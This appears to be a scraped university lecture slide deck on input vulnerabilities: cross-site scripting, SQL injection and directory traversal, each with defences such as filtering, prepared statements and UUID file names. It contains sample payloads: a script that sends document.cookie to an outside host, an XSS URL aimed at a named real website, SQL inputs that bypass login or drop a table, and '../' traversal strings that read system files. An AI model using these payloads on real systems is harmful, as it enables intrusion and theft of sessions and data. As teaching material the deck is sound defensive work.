270 likes | 413 Views
Secure Software Engineering: Input Vulnerabilities. CPSC 410. Input Vulnerabilities. We all know not to run “ code ” retrieved from suspicious places But passive “ data ” may be interpreted as malicious instructions System.out.println( “ / etc/password ” ); vs.
E N D
Input Vulnerabilities • We all know not to run “code” retrieved from suspicious places • But passive “data” may be interpreted as malicious instructions System.out.println(“/etc/password”); vs. File file = new File(“/etc/password”);
3 Most Common Input Vulnerabilities on Web 1. Cross-site Scripting 2. SQL Injection 3. Directory Traversal See http://www.owasp.com - the Open Web App Security Project
Cross Site Scripting Web browsers should only execute JavaScript from sites that you visit But … Web sites often echo values given as input, e.g. Input: http://www.foo.com?username=‘Eric’ Output page: Hello Eric If we put JavaScript into an input, an output page could include that JavaScript! The tester must assume every data entry point is a possible XSS hole.
Example: Invectus on Macdonald’s http://www.mcdonalds.com/content/us/en/search/search_results.html?queryText=%22%3E%3Cimg%20src=%22http://i55.tinypic.com/witu7d.png%22%20height=%22650%22%20width=%221000%22%3E http://www.mcdonalds.com/content/us/en/search/search_results.html? queryText=%22%3E%3Cimg%20src=%22http://i55.tinypic.com/witu7d.png%22%20height=%22650%22%20width=%221000%22%3E queryText=”><img src=”http://i55.tinypic.com/witu7d.png” height=”650″ width=”1000″> Source:http://www.acunetix.com/blog/news/full-disclosure-high-profile-websites-xss/
Malicious Script Input • Basic example (assume URL encoding) http://www.foo.com?username=<script>alert(“Hello World”)</script> • Steal user’s cookies <script type='text/javascript'> var img = document.createElement('img'); img.setAttribute('src', ‘http://localhost:8080?cook=' + escape(document.cookie)); document.body.appendChild(img); </script>
GWT vulnerabilities • JavaScript on your host page that is unrelated to GWT • Code you write that sets innerHTML on GWT Widget objects • Using the JSON API to parse untrusted strings (which ultimately calls JavaScript's eval function) • JavaScript Native Interface (JSNI) code that you write that does something unsafe (such as setting innerHTML, calling eval, writing directly to the document via document.write, etc.) Src: https://developers.google.com/web-toolkit/articles/security_for_gwt_applications#xss
InnerHTML example <html> <head> <script language="JavaScript"> function fillMyDiv(newContent) { document.getElementById('mydiv').innerHTML = newContent; } </script> </head> <body> <p>Some text before mydiv.</p> <div id="mydiv"></div> <p>Some text after mydiv.</p> </body> </html>
GWT Guidelines • Carefully inspect and strip or escape any strings you assign to innerHTML using GWT code • Carefully inspect any JavaScript strings you pass to GWT's JSON parser • Carefully inspect any strings you pass to eval or assign to innerHTML via a JSNI method • Take care in your native JSNI methods to not do anything that would expose you to attacks
Best Solution • Filter any data which is echo’d back to HTML • e.g. • http://josephoconnell.com/java/xss-html-filter/ String input = request.getParameter(“data”); String clean = new HTMLInputFilter().filter( input );
Simple Web App • A Web form that allows the user to look up account details • Underneath – a Java Web application serving the requests
SQL Injection Example • Happy-go-lucky SQL statement: • Leads to SQL injection • One of the most common Web application vulnerabilities caused by lack of input validation • But how? • Typical way to construct a SQL query using string concatenation • Looks benign on the surface • But let’s play with it a bit more… • String query = “SELECT Username, UserID, Password • FROM Users WHERE • username =“ + user + “ AND • password =“ + password;
Injecting Malicious Data (1) Press “Submit” query = “SELECT Username, UserID, Password FROM Users WHERE Username = 'bob' AND Password = ‘********‘”
Injecting Malicious Data (2) Press “Submit” query = “SELECT Username, UserID, Password FROM Users WHERE Username = 'bob’-- ’ AND Password = ‘‘”
Injecting Malicious Data (3) Press “Submit” query = “SELECT Username, UserID, Password FROM Users WHERE Username = 'bob’; DROP Users-- ’ AND Password = ‘‘”
Heart of the Issue: Tainted Input Data SQL injections application database evil hacker Web App input evil input output browser cross-site scripting Insert input checking!
Bobby Tables http://xkcd.com/327/
Mitigating SQL Injection • Always use Prepared Statements or Stored Procedures • Instead of: stmt.execute( "UPDATE EMPLOYEES SET SALARY = “+input1+“ WHERE ID = “ + input2 ); • Use: PreparedStatement pstmt = conn.prepareStatement( "UPDATE EMPLOYEES SET SALARY = ? WHERE ID = ?“ ); pstmt.setBigDecimal(1, input1) pstmt.setInt(2, input2) • The account used to make the database connection must have “Least privilege.” If the application only requires read access then the account must be given read access only. • Avoid disclosing error information: Weak error handling is a great way for an attacker to profile SQL injection attacks.
‘SQL’ injection on GWT • More a vulnerability of the RPC services • Could send arbitrary data to your datastore (once the Javascript is de-obfuscated) • Also possible to do JDOQL injection • Use Query object and parameters instead of String syntax Query query = pm.newQuery(Employee.class); query.setFilter("lastName == lastNameParam"); query.setOrdering("hireDate desc"); query.declareParameters("String lastNameParam"); … List<Employee> results = (List<Employee>) query.execute("Smith"); query.closeAll();
Recent Examples • On March 27, 2011 mysql.com, the official homepage for MySQL, was compromised • On June 1, 2011, LulzSec steal information from Sony PS3 users • In August, 2011, Hacker Steals User Records From Nokia Developer Site
Directory/Path Traversal See https://www.owasp.org/index.php/Path_Traversal Occurs when user input is used to create the path for reading a file on disk http://myblog.com/view?photo=eric.jpg String file = request.getParameter(“photo”) new File(“/images/” + file);
Directory Traversal Malicious input: http://myblog.com/view?photo=../../../../../Windows/system.ini • Has been used to retrieve • “web.xml” files • Apache conf files • UNIX password files • Other example You let user choose between different style templates and save the template filename in their profile
Example 2 • http://some_site.com.br/get-files.jsp?file=report.pdf • http://some_site.com.br/get-page.php?home=aaa.html • In these examples it’s possible to insert a malicious string as the variable parameter to access files located outside the web publish directory. • http://some_site.com.br/get-files?file=../../../../some dir/some file • http://some_site.com.br/../../../../some dir/some file
Best Solution • Don’t construct file paths from user input • Understand how your web server handles file access. • Create a UUID (Universally Unique IDentifier) for each file and save as a column with data uuid = UUID.randomUUID().toString() File savedFile = File(uuid); • Example database table for images
2 Rules to Remember • Always assume many users are malicious and want to break your software • Don’t assume a Web site is always accessed through a normal Web Browser Famous last words, “I wrote the JavaScript so that this would never happen”